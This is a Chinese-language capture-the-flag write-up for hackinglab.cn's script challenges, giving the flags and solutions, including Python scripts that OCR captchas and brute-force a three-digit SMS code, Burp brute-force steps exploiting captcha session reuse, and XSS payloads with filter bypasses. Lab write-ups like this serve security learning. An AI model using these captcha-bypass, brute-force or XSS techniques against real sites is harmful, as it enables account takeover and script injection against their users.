hackinglab 腳本關 writeup


地址:http://hackinglab.cn

腳本關

  1. key又又找不到了
    點擊提供的鏈接后,實際發生了兩次跳轉,key 在第一次跳轉的網頁中,key is : yougotit_script_now

  2. 快速口算
    要求2秒內提交結果,肯定不能手動算了,寫程序獲取算式並計算出結果提交

    #!/usr/bin/env python3
    # Author: renzongxian

    import requests
    import re
    url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
    header = {'Cookie': 'PHPSESSID=$Your Cookie'}
    
    # 獲取算式
    resp_content = requests.get(url, headers = header).content.decode('utf-8')
    matches = re.search("(.*)=<input", resp_content)
    # 發送結果
    data = {'v': str(eval(matches.group(1)))}
    resp_content = requests.post(url, headers=header, data=data).content.decode('utf-8')
    # 取得響應內容
    matches = re.search("<body>(.*)</body>", resp_content)
    print(matches.group(1))

運行得到答案key is 123iohHKHJ%^&*(jkh

  1. 這個題目是空的
    什么才是空的呢?答案是null

  2. 怎么就是不彈出key呢?
    點擊之后沒有彈窗,查看網頁源代碼發現點擊鏈接會觸發 JS 代碼中的函數 a(),但是 JS 代碼中有三個 return false; 的函數導致函數 a() 失效,那么我們可以把代碼完整復制到本地的html文件,然后把 <script> 標簽那3個干擾的函數刪除,最后在瀏覽器里打開就可以彈窗了

    提交前14個字符slakfjteslkjsd

  3. 逗比驗證碼第一期
    密碼可以暴力破解(范圍1000~9999),驗證碼一直用一個就行,用 Burp Suite 一會就破解出來了

    密碼正確時響應為key is LJLJL789sdf#@sd

  4. 逗比驗證碼第二期
    驗證碼不能一直用一個了,試了試正確輸入一次驗證碼后再用 Burp 跑的時候保持vcode為空就行(具體原因見逗比的驗證碼第三期)。密碼正確時響應為key is LJLJL789ss33fasvxcvsdf#@sd

  5. 逗比的驗證碼第三期(SESSION)
    首先補充一些驗證碼的知識

驗證碼發布的流程
1. 顯示表單
2. 顯示驗證碼(調用生成驗證碼的程序),將驗證碼加密后放進 session 或者 cookie
3. 用戶提交表單
4. 核對驗證碼無誤、數據合法后寫入數據庫完成
用戶如果再發布一條,正常情況下,會再次訪問表單頁面,驗證碼圖片被動更新, session 和 cookie 也就跟着變了
但是灌水機操作不一定非要使用表單頁面,它可以直接模擬 post 向服務端程序發送數據,這樣驗證碼程序沒有被調用,當然 session 和 cookie 存儲的加密驗證碼就是上次的值,也就沒有更新,這樣以后無限次的通過post直接發送的數據,而不考慮驗證碼,驗證碼形同虛設!
所以,在核對驗證碼后先將 session 和 cookie 的值清空,然后做數據合法性判斷,然后入庫!這樣,一個漏洞就被補上了!
仍然可以用第二期的方法,密碼正確時響應為key is LJLJLfuckvcodesdf#@sd

  1. 微笑一下就能過關了
    這個題重點在於看懂源代碼中的 PHP 代碼,可是我對 PHP 不熟,基本能看懂邏輯但是不知道怎么構造參數,解體思路可參考http://www.waitalone.cn/security-scripts-game.html,最終構造出http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?^.^=data://text/plain;charset=unicode,(●'◡'●),然后訪問就能得到hkjasfhsa*&IUHKUH

  2. 逗比的手機驗證碼
    點擊獲取驗證碼提交后提示“please login as 13388886667”,返回重新獲取驗證碼,然后把手機號也改成要求的,提交后就可得到key is LJLJLGod!@@sd

  3. 基情燃燒的歲月
    點擊獲取手機驗證碼,提示是3位純數字且開頭不為0,放到 Burp 里面暴力破解,得到“你傷心的發現他/她正在跟你的前男/女友勾搭.....於是下決心看看前任除了跟你的(男/女)閨蜜勾搭,是不是還跟別的勾搭..前任的手機號碼是:13399999999”。修改手機號后同樣的方式暴力破解,得到key is LKK8*(!@@sd

  4. 驗證碼識別
    考查驗證碼識別,需要用到 Python3 的兩個強大的庫:Pillow(依賴libjpeg和zlib) 和 pytesseract(依賴tesseract-ocr),同時注意到網頁源碼注釋中寫着“驗證碼改為了3個數字,從100到999”

    #!/usr/bin/env python3
    # Author: renzongxian
    
    import pytesseract
    from PIL import Image
    import requests
    import os
    cur_path = os.getcwd()
    vcode_path = os.path.join(cur_path, 'vcode.png')
    header = {'Cookie': 'PHPSESSID=$Your Value'}
    
    def vcode():
        # 驗證碼識別函數
        pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
        r = requests.get(pic_url, headers=header, timeout=10)
        with open(vcode_path, 'wb') as pic:
            pic.write(r.content)
        im = pytesseract.image_to_string(Image.open(vcode_path))
        im = im.replace(' ', '')
        if im != '':
            return im
        else:
            return vcode()
    
    url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
    for i in range(100, 1000):
        code = vcode()
        data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}
        r = requests.post(url, data=data, headers=header, timeout=10)
        response = r.content.decode('utf-8')
        if 'user_code or mobi_code error' in response:
            print('trying ' + str(i))
        else:
            print('the mobi_code is ' + str(i))
            print(response)
            break

運行得到key is 133dbc85dda4aa**)

  1. XSS基礎關
    按 F12 就能看到關鍵 JS 代碼,分析代碼邏輯可知只要用成功執行alert(HackingLab)就可以了,很簡單,在輸入框里輸入<script>alert(HackingLab)</script>提交就可以了,得到key is: myxssteststart!

  2. XSS基礎2:簡單繞過
    上一題的 payload 不能用了,會提示檢測到 XSS,換一種方式,輸入<img src=# onerror=alert(HackingLab) />,成功彈窗,並得到key is: xss2test2you

  3. XSS基礎3:檢測與構造
    上一題的 payload 又不能用了,只能慢慢試一下到底是哪些字符串被判定為 XSS,然后想辦法繞過。第一個輸入框中輸入的內容提交后會寫入第二個文本框內,但是寫入前做了處理,我試着閉合單引號並加入事件,但是一直不成功,后來在網上搜了搜才知道,這個題當 value 為敏感字符串時,出現的敏感字符串反而不會被過濾,這樣就可以構造alert' onmouseover=alert(HackingLab)>並提交,將鼠標移動到第二個輸入框上方就能觸發彈窗,得到key is: xss3test2youOK_striptag

  4. Principle很重要的XSS
    過濾了很多字符,還沒有找到突破點,注釋里說“該題不困難”,但確實沒有思路……


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM